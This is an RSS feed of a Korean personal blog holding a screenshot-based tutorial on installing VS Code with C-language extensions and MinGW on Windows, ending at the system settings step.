<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>jokkams 님의 블로그</title>
    <link>https://jokkams.tistory.com/</link>
    <description>jokkams 님의 블로그 입니다.</description>
    <language>ko</language>
    <pubDate>Mon, 13 Apr 2026 02:57:24 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>jokkams</managingEditor>
    <image>
      <title>jokkams 님의 블로그</title>
      <url>https://tistory1.daumcdn.net/tistory/7364422/attach/4b68ad48f50f45d8a58394495009ff22</url>
      <link>https://jokkams.tistory.com</link>
    </image>
    <item>
      <title>VS code 설치하기</title>
      <link>https://jokkams.tistory.com/65</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;아래 사이트에 들어가서 개인 컴퓨터에 맞는 버전으로 VScode를 다운로드 합니다&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://code.visualstudio.com/&quot;&gt;https://code.visualstudio.com/&lt;/a&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;c 언어 세팅까지 해봅시다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1592&quot; data-origin-height=&quot;855&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bajgZd/dJMcahbZlEv/Q3FyER6glllH7vedW7pnZ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bajgZd/dJMcahbZlEv/Q3FyER6glllH7vedW7pnZ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bajgZd/dJMcahbZlEv/Q3FyER6glllH7vedW7pnZ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbajgZd%2FdJMcahbZlEv%2FQ3FyER6glllH7vedW7pnZ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1592&quot; height=&quot;855&quot; data-origin-width=&quot;1592&quot; data-origin-height=&quot;855&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실행을 시켜요~&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1197&quot; data-origin-height=&quot;890&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/njdIz/dJMcaaKHTu1/hPaO0HXHrzkVo0mLg2Gpt0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/njdIz/dJMcaaKHTu1/hPaO0HXHrzkVo0mLg2Gpt0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/njdIz/dJMcaaKHTu1/hPaO0HXHrzkVo0mLg2Gpt0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnjdIz%2FdJMcaaKHTu1%2FhPaO0HXHrzkVo0mLg2Gpt0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1197&quot; height=&quot;890&quot; data-origin-width=&quot;1197&quot; data-origin-height=&quot;890&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;저는 이렇게 선택했어용&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1197&quot; data-origin-height=&quot;890&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/LXSKh/dJMcaaYfy5Z/VvRFePas3QyN6Q1s1hkXA1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/LXSKh/dJMcaaYfy5Z/VvRFePas3QyN6Q1s1hkXA1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/LXSKh/dJMcaaYfy5Z/VvRFePas3QyN6Q1s1hkXA1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FLXSKh%2FdJMcaaYfy5Z%2FVvRFePas3QyN6Q1s1hkXA1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1197&quot; height=&quot;890&quot; data-origin-width=&quot;1197&quot; data-origin-height=&quot;890&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1197&quot; data-origin-height=&quot;890&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/EfcHz/dJMcahJP8TA/geSEN8Dedh0gpX02Wm5ywk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/EfcHz/dJMcahJP8TA/geSEN8Dedh0gpX02Wm5ywk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/EfcHz/dJMcahJP8TA/geSEN8Dedh0gpX02Wm5ywk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FEfcHz%2FdJMcahJP8TA%2FgeSEN8Dedh0gpX02Wm5ywk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1197&quot; height=&quot;890&quot; data-origin-width=&quot;1197&quot; data-origin-height=&quot;890&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Extensin Pack을 다운받아요&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2880&quot; data-origin-height=&quot;1704&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dz31S6/dJMb99LM1nq/L38vimg7LNtT2ADOGjedB0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dz31S6/dJMb99LM1nq/L38vimg7LNtT2ADOGjedB0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dz31S6/dJMb99LM1nq/L38vimg7LNtT2ADOGjedB0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdz31S6%2FdJMb99LM1nq%2FL38vimg7LNtT2ADOGjedB0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2880&quot; height=&quot;1704&quot; data-origin-width=&quot;2880&quot; data-origin-height=&quot;1704&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;live server 다운로드&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2880&quot; data-origin-height=&quot;1704&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ekOEte/dJMcai9LdTr/e1oqna7egMcEvM7THWPogk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ekOEte/dJMcai9LdTr/e1oqna7egMcEvM7THWPogk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ekOEte/dJMcai9LdTr/e1oqna7egMcEvM7THWPogk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FekOEte%2FdJMcai9LdTr%2Fe1oqna7egMcEvM7THWPogk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2880&quot; height=&quot;1704&quot; data-origin-width=&quot;2880&quot; data-origin-height=&quot;1704&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 MinGW도 설치해야해요. 그래야지 c언어 컴파일이 가능하기 때문에~ 아래 사이트로 들어가면 됩니다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://sourceforge.net/projects/mingw/#&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://sourceforge.net/projects/mingw/#&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1767860933196&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;product&quot; data-og-title=&quot;MinGW - Minimalist GNU for Windows&quot; data-og-description=&quot;Download MinGW - Minimalist GNU for Windows for free. A native Windows port of the GNU Compiler Collection (GCC) MinGW: A native Windows port of the GNU Compiler Collection (GCC), with freely distributable import libraries and header files for building nat&quot; data-og-host=&quot;sourceforge.net&quot; data-og-source-url=&quot;https://sourceforge.net/projects/mingw/#&quot; data-og-url=&quot;https://sourceforge.net/projects/mingw/&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://sourceforge.net/projects/mingw/#&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://sourceforge.net/projects/mingw/#&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;MinGW - Minimalist GNU for Windows&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Download MinGW - Minimalist GNU for Windows for free. A native Windows port of the GNU Compiler Collection (GCC) MinGW: A native Windows port of the GNU Compiler Collection (GCC), with freely distributable import libraries and header files for building nat&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;sourceforge.net&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;923&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dOmUSH/dJMcabJGg37/GLxhMQMWDhuK0vFJQi4qE1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dOmUSH/dJMcabJGg37/GLxhMQMWDhuK0vFJQi4qE1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dOmUSH/dJMcabJGg37/GLxhMQMWDhuK0vFJQi4qE1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdOmUSH%2FdJMcabJGg37%2FGLxhMQMWDhuK0vFJQi4qE1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;923&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;923&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;602&quot; data-origin-height=&quot;465&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/WmYSE/dJMcabiBqv4/4oAKqsVh7oodS1UhET4660/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/WmYSE/dJMcabiBqv4/4oAKqsVh7oodS1UhET4660/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/WmYSE/dJMcabiBqv4/4oAKqsVh7oodS1UhET4660/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FWmYSE%2FdJMcabiBqv4%2F4oAKqsVh7oodS1UhET4660%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;602&quot; height=&quot;465&quot; data-origin-width=&quot;602&quot; data-origin-height=&quot;465&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;592&quot; data-origin-height=&quot;330&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bhc2EI/dJMcaf6mG2D/gKiDUF5dfl4s91bftISpe0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bhc2EI/dJMcaf6mG2D/gKiDUF5dfl4s91bftISpe0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bhc2EI/dJMcaf6mG2D/gKiDUF5dfl4s91bftISpe0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbhc2EI%2FdJMcaf6mG2D%2FgKiDUF5dfl4s91bftISpe0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;592&quot; height=&quot;330&quot; data-origin-width=&quot;592&quot; data-origin-height=&quot;330&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;다 설치가 완료 되면 continue 버튼이 활성화 됩니다&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;592&quot; data-origin-height=&quot;330&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bv5OJs/dJMcajnkYcy/AMlrGnOeaeApE6iN7WaqYk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bv5OJs/dJMcajnkYcy/AMlrGnOeaeApE6iN7WaqYk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bv5OJs/dJMcajnkYcy/AMlrGnOeaeApE6iN7WaqYk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbv5OJs%2FdJMcajnkYcy%2FAMlrGnOeaeApE6iN7WaqYk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;592&quot; height=&quot;330&quot; data-origin-width=&quot;592&quot; data-origin-height=&quot;330&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4개 추가 해주시고, 왼쪽 상단에 installation 클릭하면 나오는 Apply changes 누르고 Apply 하시면 됩니다&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1428&quot; data-origin-height=&quot;746&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bFFtF9/dJMcaiPvJsJ/Yr4WquCkdf7TcTL8awgFG0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bFFtF9/dJMcaiPvJsJ/Yr4WquCkdf7TcTL8awgFG0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bFFtF9/dJMcaiPvJsJ/Yr4WquCkdf7TcTL8awgFG0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbFFtF9%2FdJMcaiPvJsJ%2FYr4WquCkdf7TcTL8awgFG0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1428&quot; height=&quot;746&quot; data-origin-width=&quot;1428&quot; data-origin-height=&quot;746&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;열심히 다운로드 하다가 (좀 걸려요)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;562&quot; data-origin-height=&quot;131&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dqpe5v/dJMcagc8Lzz/dYI4sum6y0gTIOf7lqIrak/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dqpe5v/dJMcagc8Lzz/dYI4sum6y0gTIOf7lqIrak/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dqpe5v/dJMcagc8Lzz/dYI4sum6y0gTIOf7lqIrak/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdqpe5v%2FdJMcagc8Lzz%2FdYI4sum6y0gTIOf7lqIrak%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;562&quot; height=&quot;131&quot; data-origin-width=&quot;562&quot; data-origin-height=&quot;131&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;다 끝나면 close누르시면 됩니다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;614&quot; data-origin-height=&quot;413&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xxpFy/dJMcacPk8CW/eJd9x9yKOCewikMpVqK6w0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xxpFy/dJMcacPk8CW/eJd9x9yKOCewikMpVqK6w0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xxpFy/dJMcacPk8CW/eJd9x9yKOCewikMpVqK6w0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FxxpFy%2FdJMcacPk8CW%2FeJd9x9yKOCewikMpVqK6w0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;614&quot; height=&quot;413&quot; data-origin-width=&quot;614&quot; data-origin-height=&quot;413&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;windows 창에 '고급 시스템' 검색하셔서&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;766&quot; data-origin-height=&quot;716&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/p4qal/dJMcaaKKQz5/zDXhO7ggzCBd0UHD6PNzYk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/p4qal/dJMcaaKKQz5/zDXhO7ggzCBd0UHD6PNzYk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/p4qal/dJMcaaKKQz5/zDXhO7ggzCBd0UHD6PNzYk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fp4qal%2FdJMcaaKKQz5%2FzDXhO7ggzCBd0UHD6PNzYk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;766&quot; height=&quot;716&quot; data-origin-width=&quot;766&quot; data-origin-height=&quot;716&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;479&quot; data-origin-height=&quot;533&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cLBFJ0/dJMcai9N8qY/0Kl9JvPIZHYpqMgWAB3IW0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cLBFJ0/dJMcai9N8qY/0Kl9JvPIZHYpqMgWAB3IW0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cLBFJ0/dJMcai9N8qY/0Kl9JvPIZHYpqMgWAB3IW0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcLBFJ0%2FdJMcai9N8qY%2F0Kl9JvPIZHYpqMgWAB3IW0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;479&quot; height=&quot;533&quot; data-origin-width=&quot;479&quot; data-origin-height=&quot;533&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;618&quot; data-origin-height=&quot;585&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/0Z9jd/dJMcajgz79w/kifo31XO6ufBPx5VZombok/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/0Z9jd/dJMcajgz79w/kifo31XO6ufBPx5VZombok/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/0Z9jd/dJMcajgz79w/kifo31XO6ufBPx5VZombok/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F0Z9jd%2FdJMcajgz79w%2Fkifo31XO6ufBPx5VZombok%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;618&quot; height=&quot;585&quot; data-origin-width=&quot;618&quot; data-origin-height=&quot;585&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
